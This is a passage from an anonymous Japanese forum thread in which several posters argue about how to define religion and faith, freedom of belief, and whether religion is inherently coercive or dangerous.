>宗教を信じる、信じないは本人の勝手であり、
>また神を信じる、信じないは本人の勝手であると思います。

その通りですが、ではあなた自身は何を信じても勝手なのでしょうか？
それは、あなたが何かの宗教に所属していて、なにかを信じているという前提なのですが。
434 名前：電球：2006/01/14(土) 16:06:21 ID:665tdu9g: ところで、( ´,_ゝ｀)さんは原始仏教や神道、ヒンドゥー教までは否定しないわけですね？
435 名前：蓮華 ◆l5AfpJx3FY ：2006/01/14(土) 16:07:12 ID:N7l79f/h: >>433
＞その通りですが、ではあなた自身は何を信じても勝手なのでしょうか？

そうですね。
人に迷惑さえかけなければ勝手だと思いますよ。
何を信じても…。

＞それは、あなたが何かの宗教に所属していて、なにかを信じているという前提なのですが。

そうです。
436 名前：( ´,_ゝ｀) ：2006/01/14(土) 16:08:51 ID:0zO/FTSX: >>432
私は、現実の宗教を消滅するべきであるということは言っておりません。
なんども、言ってますが。
それは、どこかにレスしたと思いますが、
その宗教や教団の現実との妥協点なのですよ。
わたしは、そんなことにはまったく興味ありませんし、
全然、考察する必要も感じてないのです。
エホバの証人が、輸血拒否を否定しようがどうでもいいのです。
進化論や地動説をキリスト教が認めようがどうでもいいのです。
それは、妥協であることには変わりないのですから。
437 名前：( ´,_ゝ｀) ：2006/01/14(土) 16:12:06 ID:0zO/FTSX: >>435
なんども質問してすいません(^^♪

たとえば、あなたがキリスト教を信仰していたとして、
そこにキリストではなく、お釈迦様の教えを説くことは可能ですか？
つまり、今日から、十字を切るのではなく、座禅を組むのだとするのは？
438 名前：( ´,_ゝ｀) ：2006/01/14(土) 16:14:35 ID:0zO/FTSX: >>434
すいません、また、先ほどの流れになるのは嫌なので、
冷たい言い方をしますが、すでに説明済みです。
同じ範疇に入っています。再度確認してください。
439 名前：電球：2006/01/14(土) 16:15:32 ID:665tdu9g: >>436
ですから、ほとんどの人はその“妥協”（私の表現でいうとアレンジ）をして宗教を信じているんですよ。
そしてその妥協こそ、あなたがおっしゃる“宗教は他者と信仰を共有する為に他者に信仰を強要する”
というのが全ての宗教が行うわけでない、という根拠なんです。
妥協が存在することを認めながら、全宗教が危険とするその理由は何でしょう。
それと>>428の１．は。
440 名前：電球：2006/01/14(土) 16:17:37 ID:665tdu9g: すみません、抜けなければならなくなりました・・・。また暇があればレスいたします・・・。
441 名前：蓮華 ◆l5AfpJx3FY ：2006/01/14(土) 16:17:43 ID:N7l79f/h: >>437
それは人によって可能な人がいるんじゃないですかね…。

少なくとも私は、理由も意味もなくそんなマネはできません。
442 名前：( ´,_ゝ｀) ：2006/01/14(土) 16:20:02 ID:0zO/FTSX: >>439
なんども、繰り返します。
先ほどから、同じところを回っていますよね。
宗教というのは、他人の信じているものを無条件で受け入れることです。
どこで折り合いをつけるのかは、それぞれの宗派の問題です。
セックスはだめという教えもあれば、完全否定する教えもあるんです。
私はその部分にこだわる必要を感じないのです。
極端に言えば、息するなという教えがあれば、息してはいけないのです。
443 名前：( ´,_ゝ｀) ：2006/01/14(土) 16:24:53 ID:0zO/FTSX: >>441
いえ、現実に可能であるかという話ではなく、
それをキリスト教として認めることは可能なのかという言うことです。
極端な言い方をすれば、
今日から、キリスト教は仏教になるので、みんな従えとか。

つまり、なにを信じても言い訳ではないですよね。
つまり、信仰というのは、信じたものを受け入れることであって、
疑うという意識をできる限りなくすことではないかと。
444 名前：( ´,_ゝ｀) ：2006/01/14(土) 16:25:54 ID:0zO/FTSX: >>442
完全否定⇒完全肯定
445 名前：無所属な旅人 ：2006/01/14(土) 16:27:56 ID:oLm3QQKC: >>437
その質問は
信仰と其れに伴った様式についての質問なのですか？
複数の宗教を同時に信仰するということですか？
それとも、宗旨替えに関するものですか？
クロスリリージョンによる何かですか？

>>442
>宗教というのは、他人の信じているものを無条件で受け入れることです。
これがどうしても電球さんとの間で解消できてないみたいですね。
ところで、直接どこかの教団との対話や体験など行った経験はありますか？
446 名前：( ´,_ゝ｀) ：2006/01/14(土) 16:36:32 ID:0zO/FTSX: >>445
私の考えのどこが違っているのか、理解できませんね。
私は、宗教を以下に定義しました。
1.宗教には信仰があること。
2.信仰とは神を見出す行為であること。
3.神を見出すとは、神を体験した(あるいはしたい)という感覚であること。
4.神は信仰でしか共有できないこと。
5.信仰を共有する組織が、すなわち宗教団体であること。

ここから、他人の信じているもの、つまり信仰を、
無条件で受け入れる、つまり、信仰を共有するという帰結を導き出しています。
現実妥当性の話はなんども言ってますが、関係ありません。
447 名前：無所属な旅人 ：2006/01/14(土) 16:43:12 ID:oLm3QQKC: んんんん…何処から話そう…
とりあえず神と宗教の分類に関してちょっと前に別の方法で考えたもの持ってきます…。

====
A、世界の発生原理体
B、AまたはB自身の部分象徴体
C、AまたはBの部分理解者
D、BまたはCの追従者
E、A・B・C・Dの一部または全部の否定者

通常、神とするのはAかBですね。
特性が具現して現れる場合の神はBに属します。
教祖などで神格化されたものもBに属します。

Aの有無については解りません。
ただし世界が存続していることとB（象徴の形態）により、
世界に属性を発生させる原理があるとします。
よってBにおいて属性を見出すことによりそれを垣間見るとします。

人は通常ですと、C・D・Eのいずれかになります。
多くの宗教によりBに至る道があるとされています。

物体または精神そのものはBに属します。
それを形容する理念もBに属します。

ただしその理解は複合的にB・C・D・Eの状態へと変化します。
その理解・精神状態により、上述の人の状態C・D・Eとなるとします。
====

このような分類をしてみたことがあります。
448 名前：蓮華 ◆l5AfpJx3FY ：2006/01/14(土) 16:48:12 ID:N7l79f/h: >>443
＞いえ、現実に可能であるかという話ではなく、
＞それをキリスト教として認めることは可能なのかという言うことです。
＞極端な言い方をすれば、
＞今日から、キリスト教は仏教になるので、みんな従えとか。

極論としてもありえない！！

そんな実例が今までありません。
ですから何とも言えません。
そして、すいませんが、そういったことは考えられません。

＞つまり、なにを信じても言い訳ではないですよね。

たぶん言い訳ではなく、良い訳ではないですよね。ですよね。

良い訳だと思います。
親でも神でも、生命を与えられた時から、
どんな生命体であれ、どんな非生命体であれ、自由だと思いますし、
その自由を縛り付ける権利なんかは、どんな存在であれ汚してはいけないと思います。
どんな存在という存在が、例え神といわれる存在であれ…。

＞つまり、信仰というのは、信じたものを受け入れることであって、
＞疑うという意識をできる限りなくすことではないかと。

あなたがそうお考えであれば、それでいいと思います。
449 名前：( ´,_ゝ｀) ：2006/01/14(土) 16:51:19 ID:0zO/FTSX: >>447
はい、了解です。
お互いの相違点を知る上では、非常に手助けになると思います(^^♪
ありがとうございます。
450 名前：無所属な旅人 ：2006/01/14(土) 16:52:58 ID:oLm3QQKC: >>446
もう一点、
繰り返しますが、ある宗教団体に所属していても条件付の人が殆どです。
条件を殆ど持たず盲信する人を探すのは困難でしょう。
（偏見は条件の一つとします。）
なぜなら、
その教団宗教が提唱することを万全にできることの困難性があるからです。
所以に手本とすることや、一時的に条件をつけることを行うわけです。

この視点が無いゆえに、
一度、宗教との対話を直接してみてくださいなと申し上げてるのです。
451 名前：名無しさん＠３周年 ：2006/01/14(土) 16:53:00 ID:sy8vgOeF: 何事にも例外はある。電球氏の「すべての宗教がそうではない」「すべての
人がそうでなはい」などというのは、議論にはならない。

宗教全体に通じる「原理」や「病理」を見出す努力をしなければ無意味。

また、同じ宗教と言っても、例えば、自然宗教と創唱宗教、一神教と
多神教とでは、本質的な相違があることを忘れてはならない。

さらに電球氏は、「宗教は昔は不可欠であった」などというが、とんでもない。
圧倒的大多数の生活者は、宗教などに現を抜かす余裕はなく、生きることに
精一杯だったはず。人間がすべて熱心な宗教者であったら、人類はとっくに
滅亡していたであろう。人類が存続しているのは、「不信心者」のお陰である。

宗教がすべてであるような、本質を外れた議論は止めて、もっと生物としての
人間との関連で、宗教を論じるべき。宗教も、人間の多数の営みのうちの一つ
でしかないのだから。
452 名前：( ´,_ゝ｀) ：2006/01/14(土) 16:56:37 ID:0zO/FTSX: >>448
すいません。
私は具体的にあなたが信じているものを侮辱するつもりはありません。
謝罪します。
でも、可能性として、検証してみたかったのです。
つまり、なにを信じてもいいわけではないことを。
でも、もちろん、私は、あなたを否定していません。もちろん。

それと、言い訳はご指摘どおりの、間違いです。
すいません。

>あなたがそうお考えであれば、それでいいと思います。
ありがとうございます。
たくさん、質問したいことはあるのですが、実際に信仰されている方に、
失礼のないように質問するにはどうしたらいいのか、正直よくわかりません(^^♪
とりあえず、保留します。すいません。
453 名前：蓮華 ◆l5AfpJx3FY ：2006/01/14(土) 16:57:04 ID:N7l79f/h: >>446
１・３・５は私もほぼ同意見です。
454 名前：( ´,_ゝ｀) ：2006/01/14(土) 17:02:57 ID:0zO/FTSX: >>450
なんども言ってますが、
今は、論理的な検証をしているわけで、>>451さんの言われているように、
そこに例外や現実妥当性を持ってくるのは、意味ありません。
例えば、数学は抽象であって、現実にありえないとしても、
それで、現実の辻褄が合うのであれば、それは受け入れるしかありません。

>>451
このスレは宗教について考えいるので、当然ながら、
そこから外れることは意味ありませんよね(^^♪
455 名前：( ´,_ゝ｀) ：2006/01/14(土) 17:05:15 ID:0zO/FTSX: >>453
２と４はなぜ、反対なのですか？
教えていただけませんか？
456 名前：名無しさん＠３周年 ：2006/01/14(土) 17:06:56 ID:sQ+I+OXY: >>451
＞電球氏は、「宗教は昔は不可欠であった」

どのレスで言ってたっけ？
457 名前：蓮華 ◆l5AfpJx3FY ：2006/01/14(土) 17:07:48 ID:N7l79f/h: >>452
いやいやｗ　謝罪するも何も・・・　
今日の会話の中で、私は侮辱されたとは思ってませんよ。

＞つまり、なにを信じてもいいわけではないことを。

ここだけに、少し質問があるのですが、
なにを信じてもいいわけではないということを・・・ってことはですよ、
詳しく説明していただけるとどういう意味なんですか？

私が言ってるのは、つまり「信仰の自由」を言ってるんです。
この「信仰の自由」とは、何を信仰するも自由であり、
また何も信仰しないのも自由である。と言ってるんです。
458 名前：名無しさん＠３周年 ：2006/01/14(土) 17:08:59 ID:sy8vgOeF: >>454
宗教も、生物としての人間の多くの営みのうちの一つ。そこから外れることは、
なおさら意味が無い。
459 名前：無所属な旅人 ：2006/01/14(土) 17:11:44 ID:oLm3QQKC: >>454
教団宗教で提示される教義は行動規範と目標の集合体のようなものです。
また、>>無条件で受け入れる
とかかれていることに関する全く反対の話をしているのです。

方向が逆ですよと言っているのですよ。
460 名前：( ´,_ゝ｀) ：2006/01/14(土) 17:12:16 ID:0zO/FTSX: >>457
そうですね。
確かにご質問の主旨はよくわかります。
でも、それは多分、あなたに賛同していただけなかった、
２と４に関わることだと思います。
とりあえず、なぜ、賛同していただけないのか、理由をお聞きしたいですね。
461 名前：( ´,_ゝ｀) ：2006/01/14(土) 17:18:24 ID:0zO/FTSX: >>458
わかりますよ。
現実妥当性を無視して、あるいは現実に生きている人間を無視して、
宗教を語ることは意味がないと仰りたいのですよね(^^♪
でも、それは、私は電球さんとのやりとりで、多少は説明しています。
私はまったく無視しておりませんよ。逆に、尊重しているつもりです。

>>459
>教団宗教で提示される教義は行動規範と目標の集合体のようなものです。
私が述べているのは、そのレベルの条件ではありません。
例えば、息を止めれといわれたら、できるできないに関わらず、息を止めるのです。
私の言う無条件とは、そういうことです。
462 名前：蓮華 ◆l5AfpJx3FY ：2006/01/14(土) 17:19:51 ID:N7l79f/h: >>455
＞2.信仰とは神を見出す行為であること。

これは反対ではなく、一概にそう言えない感じがするといった点です。
つまり、信仰からその人の中で正しき日々の生活を見出す…とか。
信仰からその人の中で正しき愛を見出す…とか。　です。

＞4.神は信仰でしか共有できないこと。

「でしか」ってとこが、ひっかかります。
他にも共有できるとこはあるんではないかとも思いますから…。　です。
463 名前：無所属な旅人 ：2006/01/14(土) 17:21:57 ID:oLm3QQKC: >>461　下
その条件と同様の過酷なものが提示された事例を挙げてもらえますか？
それは、
どのような過程で提示され本人が了承したということを除外できるほどの
説明が出来ますか？
464 名前：名無しさん＠３周年 ：2006/01/14(土) 17:26:52 ID:sy8vgOeF: >>462
「正しき」とは具体的にはどういうこと？何を基準として「正しさ」を決める？
宗教者は、自分でも具体的意味の判らない言葉を、軽軽しく使ってはならない。

まさに、カルトと同じではないか。
465 名前：( ´,_ゝ｀) ：2006/01/14(土) 17:27:51 ID:0zO/FTSX: >>462
すいません。
私は現実的に信仰を持っておりませんので、
正直なところ、仰っている内容がよくわかりません(^^ゞ
ただ、神という概念は仮です。
このように書くと、誤解される恐れがあるし、誤解されそうですがね。
私の中では、
信仰とは何かを見出す行為であるという風に感じています。
何かというのは、それぞれの宗教の目的になるだろうと。
また、信仰でしか共有できないというのも、
やっぱり、信仰をもたない私には、他になにがあるのかもよくわかりませんね(^^ゞ
ただし、私の述べている信仰というのは、現実的な行動の意味です。
手を合わせるとか、教会に行くとか、座禅を組むとかですかね。
それしか、自分達の信じるものは共有できないと思ったのです。
466 名前：名無しさん＠３周年 ：2006/01/14(土) 17:30:44 ID:iadztCxs: >>464
「自分でもわかんねｗ」

って前に言ってなかったか？
467 名前：( ´,_ゝ｀) ：2006/01/14(土) 17:35:52 ID:0zO/FTSX: >>463
いくらでもあげられる気がしますが、
質問の意図がよくわかりません。すいません(^^ゞ
たとえば、神を信じている証として、全財産を教団に捧げなさいとか。
あなたのまわりの人間をすべて教団に入信させなさいとか。
わたしたちを否定するものは悪魔なので、話を聞いてはいけませんとか。
貧しいものや困っているものにはやさしくしなさいとか、同じく殺しなさいとか。
そういうことじゃないのかな。
私はほとんど宗教にかかわりを持たないので、あまり実例を知りませんけど。
信仰している人はたくさんおりますけどね。
こういうことを聞いているのですかね。よくわからないのです。すいませんが。
468 名前：蓮華 ◆l5AfpJx3FY ：2006/01/14(土) 17:36:03 ID:N7l79f/h: >>462
＞「正しき」とは具体的にはどういうこと？

その人の中でと書いてあります。

＞何を基準として「正しさ」を決める？

その人の中でと書いてある以上、基準はその人とその人の信仰する宗教です。

私は無責任な発言は避けるため、あくまでも「その人」という言葉を入れました。
そして「その人」とは、その人・その人・その人・・・とありますので、
いろいろ応用してください。
469 名前：蓮華 ◆l5AfpJx3FY ：2006/01/14(土) 17:44:33 ID:N7l79f/h: >>465
＞信仰とは何かを見出す行為であるという風に感じています。
＞何かというのは、それぞれの宗教の目的になるだろうと。

でしたら、ここも同意見ですね♪

＞やっぱり、信仰をもたない私には、他になにがあるのかもよくわかりませんね(^^ゞ

信仰がある・ないは別にしまして、信仰者に心の傷さえつけなければ、
いろんな意見があっていいと思いますし、その中で互いに尊重すべきだと思いますね。
470 名前：名無しさん＠３周年 ：2006/01/14(土) 17:46:38 ID:sy8vgOeF: >>468
他人が作った宗教で決めるのは、その人の中で決めることではない。
他人の中で決めることではないか。矛盾してるよ。
471 名前：無所属な旅人 ：2006/01/14(土) 17:50:10 ID:oLm3QQKC: >>467
質問の意図はですね…

答えてみて其れが偏見かもと疑った内容幾つかありますか？
あれば、何故そう疑ったかをみてほしいのです。
（内から見た外、外から見た内両方見れるようでしたら…）

また、それらを遂行した場合、
見返りとして得るものが無いか考えてみてほしいのです。

もう一点、
知ってる範囲の宗教で、特に周囲に影響力を与えるような行動を
書かれていたような内容で実行した教団はどこで、何を目的にしていまいしたか？
472 名前：TAJI ：2006/01/14(土) 17:50:26 ID:Ht1e9By7: 広い意味での「信仰」は宗教に限ったことではないと思います。
人はそれぞれの価値観で生きている。そして、それを基準にして行動していきます。
しかし、その価値観が万人に通用しないことを気付かなければいけません。
473 名前：蓮華 ◆l5AfpJx3FY ：2006/01/14(土) 17:53:42 ID:N7l79f/h: >>470
仮に定義をこうしてください。

他人が創った宗教の教えに、その人はその人の考えと全くをもって一致した場合。
そして、これが信仰の場合。

これなら矛盾が一切ないと思いますよ。
474 名前：( ´,_ゝ｀) ：2006/01/14(土) 17:54:46 ID:0zO/FTSX: >>469
>信仰者に心の傷さえつけなければ、

私は宗教を否定しているわけですから、
ある意味それだけで、キズをつけていると思っております(-_-;)
私は、確かに現実の宗教を否定しているわけではないという、曖昧なところにいます。
それを説明すれといわれると、確かに、ちょっと考えてしまうのです。
だから、無神経にいえないんですよ。
私の当惑する意味わかるでしょうか？

それと、信ずる自由を奪われるというのは、確かによく言われる自由の違いと同じ意味です。
何かを信じている人間は、何も信じていない人よりも自由ではありません。
でも、これはものすごく大きな違いだと思っております。
そういうことですね。
475 名前：名無しさん＠３周年 ：2006/01/14(土) 17:56:22 ID:sy8vgOeF: >>472
宗教は、その価値観が人命にも優先する点で、その他の価値観の相違
とは本質的にことなる。
476 名前：TAJI ：2006/01/14(土) 17:56:27 ID:Ht1e9By7: 大切なことは、「自分の価値観を押しつけないこと」です。
何を信じてもいい。神だろうが悪魔だろうが構わないのです。
いろんな意見があっていい。
ただ、相手を否定しないこと。認めることです。
477 名前：無所属な旅人 ：2006/01/14(土) 18:01:10 ID:oLm3QQKC: >>474
自由はですね、ある枠がないと自由にならないのですよ。
基礎になるルールが必要って事なのですがわかりますか？

信じることによって得られる基礎があれば、
その領域によって新たな自由を得ることが出来たら、
そのための制約は些細に思えるかもしれません。
逆にいうと、ルールを知ったことにより狭い領域にしか
居なかったということも考えられます。

かかれているのは、
逆に制約されっぱなしの場合のみのはなしですよね？
478 名前：TAJI ：2006/01/14(土) 18:05:07 ID:Ht1e9By7: 何かを信じると自由ではなくなる？そういう感覚もありますか。
私は「信じることも自由」だと思うのですが。誰も束縛されないし、強制もない。いつはじめようが、いつおわろうが自由です。
479 名前：( ´,_ゝ｀) ：2006/01/14(土) 18:05:44 ID:0zO/FTSX: >>471
すいません。私はどうもあなたがなにを言いたいのかわからないのです。
たぶん、今の私が理解していないことを述べられていると思うのです。
もしくは、了承済みのことで私が自明としたことを述べられていると。
私の理解しているところから、述べていただくとわかりやすいのです。
とりあえず、私が回答したことはどうでしょう？
正しいのでしょうか？それすらも、私にはわからないのです。

>>473
そうですね、信仰を共有するで、その前提を自明としているつもりでした。
480 名前：名無しさん＠３周年 ：2006/01/14(土) 18:10:03 ID:sy8vgOeF: >>476
宗教とは、教祖の「価値観の押し付け」以外の何物でもない。

価値観の相違で、自他の生命まで奪うのは、宗教だけ。「信仰は宗教
に限ったものではない」などと、安易な発言をすべきではない。宗教
の本質を何も把握してはいないではないか。
481 名前：名無しさん＠３周年 ：2006/01/14(土) 18:11:39 ID:Qocc46TK: 宗教はちゃんと宗教になっていればいいんだよ
宗教ならば
482 名前：名無しさん＠３周年 ：2006/01/14(土) 18:13:09 ID:Qocc46TK: 価値観を押し付けられるのが嫌なのは自我が肥大してるんじゃないのかな
僕ぐらいのてんさいになるとそういうのどうでもいいよ
483 名前：無所属な旅人 ：2006/01/14(土) 18:13:22 ID:oLm3QQKC: >>479
まぁ、言っているのは偏見ですよとしか言っていません。

挙げられた内容は一般的に外から見えるもののみで、
なぜ其れを行うに至ったかのプロセスに全く触れていません。

盲信するに至ったとしても、そこには何重にも共感があり承諾があり、共有し様と思うからこその行動であったり、
逆に俗的なよく言う魔がさした状態の権力やその他のものを欲しての堕落の結果としての行動などもみられますが、
これを区別できますかという点も今後のお返事次第で聞いてみようと思ってました。

条件が抜けてるので、
質問で順番に引き出してみた後に話そうかなと思っていたのですが。
484 名前：馬鹿コテは須らく死ぬべし ◆n6/acf05QA ：2006/01/14(土) 18:13:51 ID:z1OFjwsx: てんさいばかぼん
485 名前：TAJI ：2006/01/14(土) 18:15:54 ID:Ht1e9By7: 480
では日常的に起きている殺人が全て宗教の仕業であると？
戦争などのことをいっているかと思いますが、それは人の集団意識によるものです。一見、宗教団体のように見えますが、関係ありません。
486 名前：蓮華 ◆l5AfpJx3FY ：2006/01/14(土) 18:17:37 ID:N7l79f/h: >>474
宗教だけの責任ではない部分もありますが、なら宗教は一切関与していない。
といったわけではない、事件・戦争などが多々ありましたから、

（ありましたから…といってこれからは二度とないと、保証したいですけど、保証はできませんし、
　二度とないよう気をつけ、失敗や間違いは繰り返さないとしか言いようがありませんが…）

ある程度は言われても仕方がないと、思うような部分はありますけど…。

否定するにも、きちんと自分の意見を持って、否定していただけると、私はありがたいと思います。
なぜならそうすることによって、それらの意見を深く心に留め置き、気付かない点に気付いたり、
これから宗教はどうあるべきか、そして宗教はどうしたら向上できるかを深く考えられるからです。
487 名前：名無しさん＠３周年 ：2006/01/14(土) 18:20:23 ID:sy8vgOeF: >>485
９．１１や中東紛争には、宗教は関係ないとでもｗ。なりふり構わぬ
自己正当化は止めなさい。それこそまさに宗教の「病理」。

妄想患者は、目の前に証拠をいくら突きつけられても、絶対に認める
ことができない。
488 名前：( ´,_ゝ｀) ：2006/01/14(土) 18:24:54 ID:0zO/FTSX: >>483
偏見というのは、どういうことですか？
私が宗教を知らないという意味ですか？
私は、知ってると一度も言っておりませんし、私は、私の宗教の定義を明らかにしています。
また、それに疑問を呈してくれ方もいます。
それにひとつひとつ答えています。

私は、1さんとのやりとりで、スレの最初に述べましたが、
私達の対話は論理的能力に頼るしかないのです。
疑問があれば、それに対して誠実に答えていくしか、前に進む道はないのです。
それを否定しては、永遠に解決策はありません。

私の意見が偏見であれば、それについて明らかにすべきでしょう。
あなたが言っていることは、現実妥当性であり、今のこの段階では、まったく意味がないのです。
私は、すでに認めているのですよ。現実の宗教を否定しているわけではないと。
あなたは、単に、いいたいことを言ってるだけなのですか。
それでは、時間の無駄になるでしょう。

>>484でいいでしょう。違いますか？
489 名前：蓮華 ◆l5AfpJx3FY ：2006/01/14(土) 18:28:51 ID:N7l79f/h: 私はこれから用事がありますので、落ちます。
また時間があるときにでも参加さして下さいナ。
490 名前：( ´,_ゝ｀) ：2006/01/14(土) 18:29:22 ID:0zO/FTSX: >>486
>否定するにも、きちんと自分の意見を持って、否定していただけると、私はありがたいと思います。

すいません。
私は、自分の意見を持って、否定しているつもりなのですが、違うのですか？
ちょっと、愕然としています。
491 名前：蓮華 ◆l5AfpJx3FY ：2006/01/14(土) 18:33:19 ID:N7l79f/h: >>490
いやいやｗ　私は侮辱してるとは感じてません。
さっきと言いました。

つまり意見を持ち否定、また否定らしきをしている。と思ってます。

ひどいのは、宗教は悪と根底から決めつけている人達のことを、言わしてもらいました。
492 名前：( ´,_ゝ｀) ：2006/01/14(土) 18:38:22 ID:0zO/FTSX: ありがとうございます。
結論を受け入れるかどうかは別として、私の考えは多少、おわかりいただけたのですね。
良かったです(^^♪

結構、むなしく浸ってましたので(^^♪
すいません。取り急ぎレスしていただいて、感謝しますm(__)m
493 名前：無所属な旅人 ：2006/01/14(土) 18:39:12 ID:oLm3QQKC: >>488
知らないでお話されているのは、レスポンス一つみれば十分に理解できます。

また、
あなたの定義への矛盾から発した質問の途中でこちらの話に来てしまったようです。

おおよそ、
妥当正当性として撥ね付けている内容が全て妥当正当性とする根拠をあげてもらえますか？

> たとえば、神を信じている証として、全財産を教団に捧げなさいとか。
> あなたのまわりの人間をすべて教団に入信させなさいとか。
> わたしたちを否定するものは悪魔なので、話を聞いてはいけませんとか。
> 貧しいものや困っているものにはやさしくしなさいとか、同じく殺しなさいとか。

これの全て強要されたものですか？
他にも幾ら上げてもらってもかまいませんが、これらの内容も一般認識化
のなかで行われた妥当正当性の産物なんじゃないのですか？

あなたが提示したものを以ってそのフィールドで話しても構いませんけどね。
494 名前：名無しさん＠３周年 ：2006/01/14(土) 18:40:34 ID:sy8vgOeF: >>491
＞ひどいのは、宗教は悪と根底から決めつけている人達のことを、言わして
＞もらいました。

キリスト教は、誰よりも多くの人間を、誰よりも残酷な方法で殺してきた。

カルト宗教による家庭破壊が、無数に生じている。

これらが悪でなくて、何が悪か？
495 名前：TAJI ：2006/01/14(土) 18:48:33 ID:Ht1e9By7: どんな宗教を信じ、どう行動するかは神が決めることではないといっています。宗教が戦争やテロを起こすのではありません。神でもありません。
人の意識、これです。
入信しなければ殺人を犯さなかったと断言できますか？
496 名前：名無しさん＠３周年 ：2006/01/14(土) 18:49:13 ID:Qocc46TK: 残酷な方法で殺すのはサタニズム側だよ
497 名前：名無しさん＠３周年 ：2006/01/14(土) 18:50:38 ID:Qocc46TK: カルト宗教はサタニズムの走狗なんだ。
498 名前：TAJI ：2006/01/14(土) 18:52:23 ID:Ht1e9By7: 決して宗教を正当化してはいません。むしろ、必要ないと考えています。
それは戦争やテロを引き起こすからではなく、人の救いはそこにはないことを知っているからです。
軍備をもつかぎり、武器を製造するかぎり、戦争はなくなりません。
499 名前：名無しさん＠３周年 ：2006/01/14(土) 18:55:47 ID:Qocc46TK: あのへんのうようよしてるの比べたら人間なんて弱いしおつむも負けてるよ
500 名前：TAJI ：2006/01/14(土) 18:56:24 ID:Ht1e9By7: 無差別な殺人、理不尽な暴力に愛がないのは、誰でもわかるはずです。
本当になくしたいと考えるならば、一人一人が気付かなければならないのです。宗教には救いはありません。なぜ人を救うのに、お金がからむのか、まったく理解できません。
501 名前：名無しさん＠３周年 ：2006/01/14(土) 18:58:25 ID:Qocc46TK: お金は社長とか政治家が払ってくれるからいいよ
僕はいつももらってるだけ
地元の薬師寺だよ
502 名前：馬鹿コテは須らく死ぬべし ◆n6/acf05QA ：2006/01/14(土) 18:58:30 ID:z1OFjwsx: 人を救うのにお金がからまないんだったら
南北問題なんて存在しない。
503 名前：馬鹿コテは須らく死ぬべし ◆n6/acf05QA ：2006/01/14(土) 18:59:33 ID:z1OFjwsx: ところでこれは何の議論をしてるところなの？
504 名前：( ´,_ゝ｀) ：2006/01/14(土) 19:03:14 ID:0zO/FTSX: >>493
私が、あなたのレスが理解できないのは、何度も言うように、論理的でないからです。
>知らないでお話されているのは、レスポンス一つみれば十分に理解できます。
この文章を私の理解で翻訳します。
私が、あなたの意見を理解できなのは、あなたが私に対して質問する反応を見れば、
それは充分に理解できることです。
次はほとんど私には理解できません。
>また、
>あなたの定義への矛盾から発した質問の途中でこちらの話に来てしまったようです。
あなたの定義が、私の宗教の定義はわかります。
また、矛盾についても、現実の妥当性と私が結論付けていることについてだと思います。
そのことに関して、質問の途中というのは、私の質問ですか？それともあなたの質問ですか？
あなたが質問して、私がそれに回答していないということですか？
それとも、あなたが質問して、さらにその質問が途中だというのですか？
よくわかりません。こちらの話というのはどんな話ですか？
さらに、つぎがほとんど理解できません。
>妥当正当性として撥ね付けている内容が全て妥当正当性とする根拠をあげてもらえますか？
妥当正当性というのは、私の現実妥当性のことをいっているのですか？
それをはねつけているというのは、現実妥当性を検証する必要がないということですか？
もし、そうであれば、その根拠は何度も述べていますよね。
それが理解できないので、再度、述べてくれといってるのですか？
この後は、ほとんど理解できませんね。
強要とは、なんでしょう？わたしが誰に強要されているのでしょう？
私は、宗教に所属したことはないので、誰からも強要された覚えはありません。
また、強要されるされないが、今のこの議論になぜ必要なのでしょう？
また、これはあなたの質問に答えたのであって、その意味について答えることがよくわからないのです。
いわば、質問に質問で返すなと私はいいたいのです。
その後の文章は、ほとんど翻訳不可能です。
よくわかりません。
>>503
私は、首尾一貫しているつもりです(^^♪
505 名前：馬鹿コテは須らく死ぬべし ◆n6/acf05QA ：2006/01/14(土) 19:06:38 ID:z1OFjwsx: まだ宗教の定義やってるのか。

(1)神仏などを信じて安らぎを得ようとする心のはたらき。また、神仏の教え。
(2)〔religion〕経験的・合理的に理解し制御することのできないような現象や存在に対し、
積極的な意味と価値を与えようとする信念・行動・制度の体系。
アニミズム・トーテミズム・シャーマニズムから、ユダヤ教・バラモン教・神道などの民族宗教、
さらにキリスト教・仏教・イスラム教などの世界宗教にいたる種々の形態がある。

もう面倒だからこれでいいじゃん。
506 名前：無所属な旅人 ：2006/01/14(土) 19:11:31 ID:oLm3QQKC: >>504
論理的でないとするのは、合意できる用語と内容を同じ視点から
話していない点から発生するものです。

質問の途中というのは、
幾つか欠落した要素を集めるために投げた質問にお答えになってないということです。

質問に、その意図がわかりませんと答えられて終わりにされていたり、
それでは回答になっていないのに、再度定義の提示で終了してしまっているものがあります。

現実妥当正当性を検証するひつようがないつまり根拠として体を為さないとするのであるならば、
ということで、あなたの宗教が強要する内容に関して、どのようなイメージを持っているのか、
それが現実妥当正当性の産物ではないのかという点を質問の中で見出せたらという意図でしたよ。

もし上記が正しければ、
あなたの定義によりあなたの否定理由が否定されたことになりますので、
数学的弁証法により定義が否定されます。

これが明確に意図するところです。
507 名前：( ´,_ゝ｀) ：2006/01/14(土) 19:11:39 ID:0zO/FTSX: >>505
すいません。
私は、これ以上定義なんてしているつもりありません。
正直、なんの議論しているのかよくわかりません。
また、結論ものべています。
そこから離れて定義されても正直疲れました。

>もう面倒だからこれでいいじゃん。
私の結論が否定されないなら、別にいいです(^^♪
すいません。さすがに、私も疲れましたので、ちょっと休憩しますね。
レスの進行しだいでレスします。
508 名前：馬鹿コテは須らく死ぬべし ◆n6/acf05QA ：2006/01/14(土) 19:15:16 ID:z1OFjwsx: 宗教否定派の人が宗教の問題点を指摘してくれないと話が始まらないな。
509 名前：( ´,_ゝ｀) ：2006/01/14(土) 19:16:45 ID:0zO/FTSX: >>506
あなたの意見が正しいのか、正しくないのか理解できないので、
あなたの結論に回答することは出来ません。
あなたの意見を理解できる人と、私の意見を理解できる人に、
検証してもらってください。
正直なところ、理解できないことを強要されるのは、しんどいのですよ。
私がなぜ理解できないのか、説明しています。
それを解消せずに、一方的に述べられても、私には理解できないで終わるのです。
510 名前：無所属な旅人 ：2006/01/14(土) 19:20:11 ID:oLm3QQKC: >>509
そうですか、では終了しても構いません。

すでに複数人にはこの話し方で納得できるとの言と、
この話では普通の方には難しすぎるとの
二つの言をもらっていますので。
（宗教者に偏ってますが）
511 名前：( ´,_ゝ｀) ：2006/01/14(土) 19:20:22 ID:0zO/FTSX: >>508
最初から読めば、わかるのではないですかね。
少なくとも、参加者の大部分は否定派ですし、何度も述べられていると思います。
問題点がないのなら、いいんじゃないかな。
私は、それについてスレの最初で述べてますし、それが問題だと思わなければ、
別にそれは、誰かがいってるように価値観の違いですしね。
512 名前：( ´,_ゝ｀) ：2006/01/14(土) 19:25:40 ID:0zO/FTSX: >>510
私は、あなたを拒否しているつもりはありません。
相違点と一致点を見つけようとしているのです。
